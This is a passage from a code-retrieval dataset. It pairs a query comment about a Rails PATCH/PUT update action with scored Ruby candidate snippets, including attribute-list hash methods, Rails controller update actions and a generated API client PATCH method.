slot_front_nvme12link_speed, slot_front_nvme12option_rom, slot_front_nvme13option_rom, slot_front_nvme14option_rom, slot_front_nvme15option_rom, slot_front_nvme16option_rom, slot_front_nvme17option_rom, slot_front_nvme18option_rom, slot_front_nvme19option_rom, slot_front_nvme1link_speed, slot_front_nvme1option_rom, slot_front_nvme20option_rom, slot_front_nvme21option_rom, slot_front_nvme22option_rom, slot_front_nvme23option_rom, slot_front_nvme24option_rom, slot_front_nvme2link_speed, slot_front_nvme2option_rom, slot_front_nvme3link_speed, slot_front_nvme3option_rom, slot_front_nvme4link_speed, slot_front_nvme4option_rom, slot_front_nvme5link_speed, slot_front_nvme5option_rom, slot_front_nvme6link_speed, slot_front_nvme6option_rom, slot_front_nvme7link_speed, slot_front_nvme7option_rom, slot_front_nvme8link_speed, slot_front_nvme8option_rom, slot_front_nvme9link_speed, slot_front_nvme9option_rom, slot_front_slot5link_speed, slot_front_slot6link_speed, slot_gpu1state, slot_gpu2state, slot_gpu3state, slot_gpu4state, slot_gpu5state, slot_gpu6state, slot_gpu7state, slot_gpu8state, slot_hba_link_speed, slot_hba_state, slot_lom1link, slot_lom2link, slot_mezz_state, slot_mlom_link_speed, slot_mlom_state, slot_mraid_link_speed, slot_mraid_state, slot_n10state, slot_n11state, slot_n12state, slot_n13state, slot_n14state, slot_n15state, slot_n16state, slot_n17state, slot_n18state, slot_n19state, slot_n1state, slot_n20state, slot_n21state, slot_n22state, slot_n23state, slot_n24state, slot_n2state, slot_n3state, slot_n4state, slot_n5state, slot_n6state, slot_n7state, slot_n8state, slot_n9state, slot_raid_link_speed, slot_raid_state, slot_rear_nvme1link_speed, slot_rear_nvme1state, slot_rear_nvme2link_speed, slot_rear_nvme2state, slot_rear_nvme3link_speed, slot_rear_nvme3state, slot_rear_nvme4link_speed, slot_rear_nvme4state, slot_rear_nvme5state, slot_rear_nvme6state, slot_rear_nvme7state, slot_rear_nvme8state, slot_riser1link_speed, slot_riser1slot1link_speed, slot_riser1slot2link_speed, slot_riser1slot3link_speed, slot_riser2link_speed, slot_riser2slot4link_speed, slot_riser2slot5link_speed, slot_riser2slot6link_speed, slot_sas_state, slot_ssd_slot1link_speed, slot_ssd_slot2link_speed, smee, smt_mode, snc, snoopy_mode_for2lm, snoopy_mode_for_ad, sparing_mode, sr_iov, streamer_prefetch, svm_mode, terminal_type, tpm_control, tpm_pending_operation, tpm_support, tsme, txt_support, ucsm_boot_order_rule, ufs_disable, uma_based_clustering, upi_link_enablement, upi_power_management, usb_emul6064, usb_port_front, usb_port_internal, usb_port_kvm, usb_port_rear, usb_port_sd_card, usb_port_vmedia, usb_xhci_support, vga_priority, virtual_numa, vmd_enable, vol_memory_mode, work_load_config, xpt_prefetch, xpt_remote_prefetch, organization, profiles].hash\n end", "title": "" }, { "docid": "20cd6aa418e772dfc5102d936608fc94", "score": "0.48927605", "text": "def hash\n [sequence_number, corporate_number, process, correct, update_date, change_date, name, name_image_id, kind, prefecture_name, city_name, street_number, address_image_id, prefecture_code, city_code, post_code, address_outside, address_outside_image_id, close_date, close_cause, successor_corporate_number, change_cause, assignment_date, latest, en_name, en_prefecture_name, en_city_name, en_address_outside, furigana, hihyoji].hash\n end", "title": "" }, { "docid": "c800f829c3589bfae2e8de374e78d39c", "score": "0.48911873", "text": "def to_rave_hash\r\n {\r\n 'javaClass' => JAVA_CLASS,\r\n 'start' => min,\r\n 'end' => max+1\r\n }\r\n end", "title": "" }, { "docid": "bbd8726b73c9a8f7ff22fa197c97a353", "score": "0.4890081", "text": "def hash\n num = 0\n self.each do |k,v|\n if k.is_a?(Integer) && v.is_a?(Integer)\n num += k * 26 + v\n elsif k.is_a?(Integer) && !v.is_a?(Integer)\n num += k * 26 + ALPHA_NUMBERS[v.to_s.downcase]\n elsif v.is_a?(Integer) && !k.is_a?(Integer)\n num += v * 26 + ALPHA_NUMBERS[k.to_s.downcase]\n elsif !k.nil? && !v.nil?\n num += ALPHA_NUMBERS[k.to_s.downcase] * ALPHA_NUMBERS[v.to_s.downcase]\n end\n end\n num\n end", "title": "" }, { "docid": "216141533c7d3cad9704a44811e78201", "score": "0.48856482", "text": "def hash\n [title_code, _class, tenure, commonhold, addresses, is_not_main_title, is_scottish, purchase_register_entry_date, purchase_prices, purchase_dates].hash\n end", "title": "" }, { "docid": "f6e0193eb1d9c9e5a96f57f1d1279330", "score": "0.4877126", "text": "def hash\n [queue_id, flow_id, provider, skill_ids, language_id, priority, attributes, to_address, to_name, from_address, from_name, subject, direction, html_body, text_body].hash\n end", "title": "" }, { "docid": "91ad0fdd7f5f43a8e5ae576c1d0beb2e", "score": "0.4876404", "text": "def hash\n [duration, rrule, start].hash\n end", "title": "" }, { "docid": "a9adb83c263470be68691b8fd8be0847", "score": "0.48663104", "text": "def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n # Add lines like this for each significant instance variable\n code # Return the resulting code\n end", "title": "" }, { "docid": "cd4860da487a2751e1965ff71c76e02f", "score": "0.48658592", "text": "def hash\n [id, next_send, rrule, session, last_sent, contact_name, parameters, type, summary, text_parameters, first_occurrence, last_occurrence, recipients_count, timezone, completed, avatar, created_at].hash\n end", "title": "" }, { "docid": "f46bfe08cab4c233771ad777e5d20b3b", "score": "0.4864991", "text": "def text2hash (stanza_name,query_names, tax_id)\n result = {}\n #load each query result file\n query_names.each do |query_name|\n input_file = \"#{PREPARE_DIR}/text/#{query_name}/#{tax_id}.txt\"\n File.open(\"#{input_file}\") do |f|\n while line = f.gets\n # convert a line to hash object\n columns_info = get_query_columns(stanza_name, query_name)\n gene_text_data = gene_obj_mapping(line, query_name, columns_info)\n\n gene_id = gene_text_data[\"gene_id\"]\n if result[gene_id] == nil\n result[gene_id] = gene_text_data\n else\n result[gene_id].merge!(gene_text_data) do |key, oldval, newval|\n if key.to_s == 'gene_id' || key.to_s == '@id' # no repeat of tax id\n oldval\n else # concat text data\n oldval.concat(newval).uniq\n end\n end\n end\n end\n end\n end\n result\nend", "title": "" }, { "docid": "5113606ae9ed74650e7000bfb6d27ef0", "score": "0.48601902", "text": "def hash\n self.class.name.hash\n end", "title": "" }, { "docid": "27fbba69fe28c50323f7468674a5b425", "score": "0.48468652", "text": "def return_hash \n\tkt = KeywordTagger.new\n\thash = kt.get_hash_regex_tags(\"public/conversion.txt\") \nend", "title": "" }, { "docid": "72f2fbdce0e1a9e1963bb1a876b3235d", "score": "0.4842227", "text": "def hash\n title.hash\n end", "title": "" }, { "docid": "48d245af0ba849e7c03a0268fafe8f40", "score": "0.48401976", "text": "def to_hash\n _attributes_.inject({}) { |h, (k,v)| h[k] = eval_as_proc(v); h }\n end", "title": "" }, { "docid": "d86457798787fb1db0c5c17eee3fee32", "score": "0.4838103", "text": "def update_code\n elements = [flexeme_type.tag.to_s]\n elements << gender.tag.to_s if gender\n elements += suffixes\n self.code = (Digest::SHA2.new << elements.join(\":\")).hexdigest[0...6]\n end", "title": "" }, { "docid": "f565309d218e426d63b89a550118bf23", "score": "0.4832114", "text": "def hash\n swap\n scatter\n completed_string\n end", "title": "" }, { "docid": "52864d9f55224b66da286a421ded10e9", "score": "0.48268896", "text": "def hash\n [type, back_color, fore_color, style].hash\n end", "title": "" }, { "docid": "de57d752f86ff9e448a00f497420f7ab", "score": "0.48263335", "text": "def hash\n [attribute, statistics, other, total, missing, term_count, term_type, terms].hash\n end", "title": "" }, { "docid": "6e76883cc3d80b362996674fe6bb2b6c", "score": "0.48254848", "text": "def get_hash\n\t\treturn { cond_type: COND_NUM_ATTENDING, \n\t\t\tcond_met: @cond_met, num_users: @num_users }\n\tend", "title": "" }, { "docid": "e93c6fd13c93341ddccd10093d525262", "score": "0.48244646", "text": "def hash\n [allow_embedding_post_script_fonts, custom_time_zone_info_data, dml3_d_effects_rendering_mode, dml_effects_rendering_mode, dml_rendering_mode, file_name, iml_rendering_mode, update_created_time_property, update_fields, update_last_printed_property, update_last_saved_time_property, zip_output, color_mode, jpeg_quality, metafile_rendering_options, numeral_format, optimize_output, page_count, page_index, horizontal_resolution, image_brightness, image_color_mode, image_contrast, paper_color, pixel_format, resolution, scale, use_anti_aliasing, use_high_quality_rendering, vertical_resolution, use_gdi_emf_renderer, save_format].hash\n end", "title": "" }, { "docid": "fde30169877a4a8b51a7f0b3fd7dce67", "score": "0.48148027", "text": "def hashInstructions(instruction)\n\tvalue, key = instruction.match(/(.+) \\-\\> ([a-z]{1,2})/).captures\n\t$wires[key.to_s] = value.to_s\nend", "title": "" }, { "docid": "23cdf6a080837fbe407633be0799ea0e", "score": "0.48063648", "text": "def hash() end", "title": "" }, { "docid": "23cdf6a080837fbe407633be0799ea0e", "score": "0.48063648", "text": "def hash() end", "title": "" }, { "docid": "23cdf6a080837fbe407633be0799ea0e", "score": "0.48063648", "text": "def hash() end", "title": "" }, { "docid": "23cdf6a080837fbe407633be0799ea0e", "score": "0.48063648", "text": "def hash() end", "title": "" }, { "docid": "23cdf6a080837fbe407633be0799ea0e", "score": "0.48063648", "text": "def hash() end", "title": "" }, { "docid": "23cdf6a080837fbe407633be0799ea0e", "score": "0.48063648", "text": "def hash() end", "title": "" }, { "docid": "23cdf6a080837fbe407633be0799ea0e", "score": "0.48063648", "text": "def hash() end", "title": "" }, { "docid": "797776cf6f383d30b547805e62b8d2d8", "score": "0.4801142", "text": "def hash\n [author, text, created_time, child_comments, type, text_selection_start, text_selection_length, status].hash\n end", "title": "" }, { "docid": "054d1fa2c29498fff753ec7fdf23a1c5", "score": "0.4798253", "text": "def hash\n [actor, artist, aspect_ratio, audience_rating, author, back_finding, band_material_type, binding, bluray_region, brand, cero_age_rating, chain_type, clasp_type, color, cpu_manufacturer, cpu_speed, cpu_type, creator, department, director, display_size, edition, episode_sequence, esrb_age_rating, feature, flavor, format, gem_type, genre, golf_club_flex, golf_club_loft, hand_orientation, hard_disk_interface, hard_disk_size, hardware_platform, hazardous_material_type, item_dimensions, is_adult_product, is_autographed, is_eligible_for_trade_in, is_memorabilia, issues_per_year, item_part_number, label, languages, legal_disclaimer, list_price, manufacturer, manufacturer_maximum_age, manufacturer_minimum_age, manufacturer_parts_warranty_description, material_type, maximum_resolution, media_type, metal_stamp, metal_type, model, number_of_discs, number_of_issues, number_of_items, number_of_pages, number_of_tracks, operating_system, optical_zoom, package_dimensions, package_quantity, part_number, pegi_rating, platform, processor_count, product_group, product_type_name, product_type_subcategory, publication_date, publisher, region_code, release_date, ring_size, running_time, shaft_material, scent, season_sequence, seikodo_product_code, size, size_per_pearl, small_image, studio, subscription_length, system_memory_size, system_memory_type, theatrical_release_date, title, total_diamond_weight, total_gem_weight, warranty, weee_tax_value].hash\n end", "title": "" }, { "docid": "96e743c50d4297714e70d51ba4908d4b", "score": "0.47963172", "text": "def create_hash_class \n\t hash_class = {}\n\t @students_list.select do |student|\n\t\thash_class[student.name] = student.create_score_hash\n\t end\n\t puts \"Class's Hash: #{hash_class}\"\n\tend", "title": "" }, { "docid": "cb40629e0a7778c1b1a657f426cf172d", "score": "0.47941482", "text": "def hash\n [self_uri, alternate_links, accent1, accent2, accent3, accent4, accent5, accent6, dark1, dark2, followed_hyperlink, hyperlink, light1, light2].hash\n end", "title": "" }, { "docid": "3598afe4e42739d3485df46294b2ee9f", "score": "0.47883874", "text": "def to_hash\n { tokens: @tokens, sentences: @sentences, mentions: @mentions,\n keywords: @keywords }\n end", "title": "" }, { "docid": "a1a66cdb10323d4b412132edd4f64942", "score": "0.4784212", "text": "def makeStandardInstanceHash(array_of_detailed_instances, stripped_state_int)\n\tinstanceHash = Hash.new\n\tfor entry in array_of_detailed_instances\n\t\tinst = entry[\"name\"]\n\t\trun = entry[\"run\"]\n\t\tinstanceHash[inst] = {\"runs\"=>0, \"rest\"=>entry[\"rest\"], \"result\"=>[]} unless instanceHash.key?(inst)\n\t\tinstanceHash[inst][\"runs\"] += 1\n\t\tcensortimes = entry[\"resultForState\"][stripped_state_int].keys\n#\t\tp censortimes\n#\t\tp censortimes.max\n\t\tinstanceHash[inst][\"result\"] << entry[\"resultForState\"][stripped_state_int][censortimes.max]\n\tend\n\treturn instanceHash\nend", "title": "" }, { "docid": "61d065f9856f08e843d1f175a7610b3d", "score": "0.47752687", "text": "def hash\n [clean_result, contains_executable, contains_invalid_file, contains_script, contains_password_protected_file, contains_restricted_file_format, contains_macros, contains_xml_external_entities, contains_insecure_deserialization, contains_html, contains_unsafe_archive, verified_file_format, found_viruses, content_information].hash\n end", "title": "" }, { "docid": "a6b4ae8a5945916a5ee8730ea48e511d", "score": "0.4775165", "text": "def hash\n\t\treturn self.name.to_s.hash\n\tend", "title": "" }, { "docid": "6a5c6a5419f45dafbb833dffc549c185", "score": "0.477349", "text": "def hash\n [year, make, model, trim, short_trim, body_type, body_subtype, vehicle_type, transmission, drivetrain, fuel_type, engine, engine_size, engine_block, doors, cylinders, made_in, steering_type, antibrake_sys, tank_size, overall_height, overall_length, overall_width, std_seating, opt_seating, highway_miles, city_miles, engine_measure, engine_aspiration, trim_r].hash\n end", "title": "" }, { "docid": "3a4dd37ce98093e0a3b178d4ffdb5032", "score": "0.47661114", "text": "def class_distribution dataset\n classes = Hash.new {|h,k| h[k] = 0}\n dataset.each do |item|\n classes[item[\"label\"]]=1+classes[item[\"label\"]]\n end\n \n result={}\n classes.each do |key,array|\n result[key]=array.to_f/dataset.size.to_f\n end\n \n return result\nend", "title": "" }, { "docid": "25aaa5db4613080c00be30b0e859d322", "score": "0.47646213", "text": "def hash_code; end", "title": "" }, { "docid": "675b4e18150fe4db7ed820b08996a048", "score": "0.4764571", "text": "def job_hash\n [@image,@config].hash\n end", "title": "" }, { "docid": "675b4e18150fe4db7ed820b08996a048", "score": "0.4764571", "text": "def job_hash\n [@image,@config].hash\n end", "title": "" }, { "docid": "81d7b1300734ea62c374865317a2a1ed", "score": "0.47620952", "text": "def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end", "title": "" } ]
3fb4916120946633018a8aa8ca34a8be
PATCH/PUT /dis_generic_hepatic_imps/1 PATCH/PUT /dis_generic_hepatic_imps/1.json
[ { "docid": "a0fffeaf435dda0dd46266ad4377a133", "score": "0.7352515", "text": "def update\n respond_to do |format|\n if @dis_generic_hepatic_imp.update(dis_generic_hepatic_imp_params)\n format.html { redirect_to @dis_generic_hepatic_imp, notice: 'Dis generic hepatic imp was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_generic_hepatic_imp }\n else\n format.html { render :edit }\n format.json { render json: @dis_generic_hepatic_imp.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "f72498bfe8bb4f554ed199bfc5b18edc", "score": "0.64352036", "text": "def update\n respond_to do |format|\n if @dynamic_iap.update(dynamic_iap_params)\n format.html { redirect_to @dynamic_iap, notice: 'Dynamic iap was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dynamic_iap.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8554e7070a65279364699e67e134cfcd", "score": "0.63746786", "text": "def update\n set_name\n respond_to do |format|\n if @intervention.update(intervention_params)\n format.html { render action: 'show_admin', notice: 'Intervention/supplement updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit', notice: 'Did not update -- see errors on page.' }\n format.json { render json: @intervention.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42bbcd46aa25904319cf01c11be8738b", "score": "0.6273435", "text": "def update\n respond_to do |format|\n if @hepatic_impairment.update(hepatic_impairment_params)\n format.html { redirect_to @hepatic_impairment, notice: 'Hepatic impairment was successfully updated.' }\n format.json { render :show, status: :ok, location: @hepatic_impairment }\n else\n format.html { render :edit }\n format.json { render json: @hepatic_impairment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0cd68bc78d56cfd463c7c4c85ead4791", "score": "0.6239612", "text": "def update\n @implate = Implate.find(params[:id])\n\n respond_to do |format|\n if @implate.update_attributes(params[:implate])\n format.html { redirect_to @implate, notice: 'Implate atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @implate.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "063661d4d5189c38701e586089bacae8", "score": "0.61963755", "text": "def update\n authorize! :manage, HoursPackage\n respond_to do |format|\n if @hours_package.update(hours_package_attrs)\n format.html { redirect_to @hours_package, notice: t('action.update.succeed', entity: HoursPackage.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hours_package.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c084b31072abfc4e5dfbb605c6b57c1", "score": "0.6179273", "text": "def update\n respond_to do |format|\n if @impchange.update(impchange_params)\n format.html { redirect_to @impchange, notice: 'Impchange was successfully updated.' }\n format.json { render :show, status: :ok, location: @impchange }\n else\n format.html { render :edit }\n format.json { render json: @impchange.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42e4d81ce0f91ce996dcbc347df2958d", "score": "0.61575764", "text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end", "title": "" }, { "docid": "0a565cef00d6874eb6d07052cd70dfab", "score": "0.6113683", "text": "def update(json_resource)\n jsonapi_request(:patch, \"#{@route}/#{json_resource['id']}\", \"data\"=> json_resource)\n end", "title": "" }, { "docid": "a24e3419f2827c7d1ba037de1b7fdec0", "score": "0.60628057", "text": "def update\n respond_to do |format|\n if @ap_ikey.update(ap_ikey_params)\n format.html { redirect_to @ap_ikey, notice: 'Ap ikey was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ap_ikey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e7e3b078756f6f6f9c0c66ae93d845f7", "score": "0.606277", "text": "def update\n respond_to do |format|\n if @dis_generic_contraceptive_interaction.update(dis_generic_contraceptive_interaction_params)\n format.html { redirect_to @dis_generic_contraceptive_interaction, notice: 'Dis generic contraceptive interaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_generic_contraceptive_interaction }\n else\n format.html { render :edit }\n format.json { render json: @dis_generic_contraceptive_interaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8ccd5e2e89c7663c0984c515c0ff331", "score": "0.60616285", "text": "def update\n @intelligence_mod = IntelligenceMod.find(params[:id])\n\n if @intelligence_mod.update(intelligence_mod_params)\n head :no_content\n else\n render json: @intelligence_mod.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "82137e2c3ba224a19c8ef01bed029e02", "score": "0.604214", "text": "def update\n @epic = Epic.find(params[:id])\n\n respond_to do |format|\n if @epic.update_attributes(params[:epic])\n format.html { redirect_to @epic, notice: 'Epic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @epic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00e78f549976a03f8bbefb0a802ff425", "score": "0.6035915", "text": "def update\n respond_to do |format|\n if @api_v1_initiative_expense.update(api_v1_initiative_expense_params)\n format.html { redirect_to @api_v1_initiative_expense, notice: 'Initiative expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_expense }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_expense.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5fd5f00640bdb0c785bcac4689a46f3c", "score": "0.6028695", "text": "def patch(data, options={})\n raise NotImplementedError, \"We only patchs to singular resources.\" if count > 1\n first.patch(data, options)\n end", "title": "" }, { "docid": "54129adb71a0d1838c9b3b1729baf69f", "score": "0.6015619", "text": "def update\n @invent_onhand = InventOnhand.find(params[:id])\n\n respond_to do |format|\n if @invent_onhand.update_attributes(params[:invent_onhand])\n format.html { redirect_to @invent_onhand, notice: 'Invent onhand was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invent_onhand.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "820c3a0f90f8c7093ebacceaad384be3", "score": "0.6001707", "text": "def update\n respond_to do |format|\n if @dis_generic.update(dis_generic_params)\n format.html { redirect_to @dis_generic, notice: 'Dis generic was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_generic }\n else\n format.html { render :edit }\n format.json { render json: @dis_generic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0fde10e061a7291d10352f8ad9a34082", "score": "0.6001028", "text": "def update\n @pec_complaint = PecComplaint.find(params[:id])\n #abort params[:pec_complaint][:pec_complaint_files_attributes]['0'][:id].inspect\n\n respond_to do |format|\n if @pec_complaint.update_attributes(params[:pec_complaint])\n format.html { redirect_to @pec_complaint, notice: 'Pec complaint was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pec_complaint.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e3a87e9417f5f651b6c1f80857d32c7d", "score": "0.59996367", "text": "def update\n # respond_to do |format|\n if @intel.update(intel_params)\n render json: @intel\n # format.html { redirect_to @intel, notice: 'Intel was successfully updated.' }\n # format.json { render :show, status: :ok, location: @intel }\n else\n render json: @intel.errors, status: :unprocessable_entity\n # format.html { render :edit }\n # format.json { render json: @intel.errors, status: :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "bfc7a9a2fc34d343f803fad086ee2664", "score": "0.5967945", "text": "def update\n respond_to do |format|\n if @dis_generic_indication.update(dis_generic_indication_params)\n format.html { redirect_to @dis_generic_indication, notice: 'Dis generic indication was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_generic_indication }\n else\n format.html { render :edit }\n format.json { render json: @dis_generic_indication.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af4e8d790c7a2b58ad6cb5b3e7aa04a3", "score": "0.5966158", "text": "def set_dis_generic_hepatic_imp\n @dis_generic_hepatic_imp = DisGenericHepaticImp.find(params[:id])\n end", "title": "" }, { "docid": "2e89d39a5984fdc9d709e2621f580fc3", "score": "0.5962592", "text": "def update\n @hoik = Hoik.find(params[:id])\n\n respond_to do |format|\n if @hoik.update_attributes(params[:hoik])\n format.html { redirect_to @hoik, notice: 'Hoi was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hoik.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4b5cc1dfbed5f765c0e76612607d0ed", "score": "0.59603375", "text": "def update\n respond_to do |format|\n if @generic_alcohol_interaction.update(generic_alcohol_interaction_params)\n format.html { redirect_to @generic_alcohol_interaction, notice: 'Combination dose was successfully updated.' }\n format.json { render :show, status: :ok, location: @generic_alcohol_interaction }\n else\n format.html { render :edit }\n format.json { render json: @generic_alcohol_interaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1149ec1c897353b8705976b397a54e77", "score": "0.5954711", "text": "def update\n invention.update(invention_params)\n respond_with invention\n end", "title": "" }, { "docid": "f4fef9f3a54516e056a322355f634028", "score": "0.59513414", "text": "def update\n respond_to do |format|\n if @iptable.update(iptable_params)\n format.html { redirect_to @iptable, notice: 'Iptable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @iptable.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "584e26133c356517ebbae840b8f4f46b", "score": "0.5942692", "text": "def update\n respond_to do |format|\n if @apatient.update(apatient_params)\n format.html { redirect_to @apatient, notice: 'Apatient was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @apatient.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c31eab8523fc48b0211d3026d2d4a0c1", "score": "0.5935735", "text": "def update\n respond_to do |format|\n if @ai.update(ai_params)\n format.html { redirect_to @ai, notice: 'Ai was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ai.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2572fb900123dab962d92dfd5cd31505", "score": "0.5933755", "text": "def update\n spice = Spice.find_by(id: params[:id])\n spice.update(spice_params)\n render json: spice\nend", "title": "" }, { "docid": "b8d4d2c1fc0d5f024d1f588a6dab44ea", "score": "0.59282744", "text": "def update\n respond_to do |format|\n if @generic_package_ingredient.update(generic_package_ingredient_params)\n format.html { redirect_to @generic_package_ingredient, notice: 'Generic package ingredient was successfully updated.' }\n format.json { render :show, status: :ok, location: @generic_package_ingredient }\n else\n format.html { render :edit }\n format.json { render json: @generic_package_ingredient.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47418efbf6d442743c78b543d420f001", "score": "0.5927424", "text": "def update\n authorize_initiative\n respond_to do |format|\n if @initiative.update(initiative_params)\n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "558126448a733e020f4cfe4597ef5174", "score": "0.5916634", "text": "def update\n respond_to do |format|\n if @dispensible_generic.update(dispensible_generic_params)\n format.html { redirect_to @dispensible_generic, notice: 'Dispensible generic was successfully updated.' }\n format.json { render :show, status: :ok, location: @dispensible_generic }\n else\n format.html { render :edit }\n format.json { render json: @dispensible_generic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a486429663f65d5c4e2194d1027f41aa", "score": "0.59061575", "text": "def update\n respond_to do |format|\n if @regiment_exercise.update(regiment_exercise_params)\n format.html { redirect_to @regiment_exercise, notice: 'Regiment exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @regiment_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47abb2cddfa1a665018f717cdaaa4164", "score": "0.5898688", "text": "def update!(params)\n res = @client.put(path, {}, params, \"Content-Type\" => \"application/json\")\n\n @attributes = res.json if res.status == 201\n end", "title": "" }, { "docid": "3705eaabcf65e27d4f535fc22790a7d4", "score": "0.5892957", "text": "def patch_equipment_psu_with_http_info(moid, equipment_psu, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EquipmentApi.patch_equipment_psu ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling EquipmentApi.patch_equipment_psu\"\n end\n # verify the required parameter 'equipment_psu' is set\n if @api_client.config.client_side_validation && equipment_psu.nil?\n fail ArgumentError, \"Missing the required parameter 'equipment_psu' when calling EquipmentApi.patch_equipment_psu\"\n end\n # resource path\n local_var_path = '/api/v1/equipment/Psus/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(equipment_psu)\n\n # return_type\n return_type = opts[:debug_return_type] || 'EquipmentPsu'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"EquipmentApi.patch_equipment_psu\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EquipmentApi#patch_equipment_psu\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "e0693e317cf4497f5fdea25c2a1a513a", "score": "0.58863443", "text": "def update\n respond_to do |format|\n if @icompany.update(icompany_params)\n format.html { redirect_to @icompany, notice: 'Icompany was successfully updated.' }\n format.json { render :show, status: :ok, location: @icompany }\n else\n format.html { render :edit }\n format.json { render json: @icompany.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44d812b1e3d913933d8bc26ebcb8d861", "score": "0.58802706", "text": "def update\n @impesp = Impesp.find(params[:id])\n\n respond_to do |format|\n if @impesp.update_attributes(params[:impesp])\n format.html { redirect_to @impesp, notice: 'Impesp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @impesp.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d27760caf4c5c015af28b6b59fbd4bdb", "score": "0.58800167", "text": "def update\n respond_to do |format|\n if @initiative_metric.update(initiative_metric_params)\n format.html { redirect_to [@initiative_metric.initiative, @initiative_metric], notice: 'Initiative metric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: [@initiative_metric.initiative, @initiative_metric].errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f09f998e3f3edae6f5ca5b02eb62d9ec", "score": "0.58781135", "text": "def update\n respond_to do |format|\n if 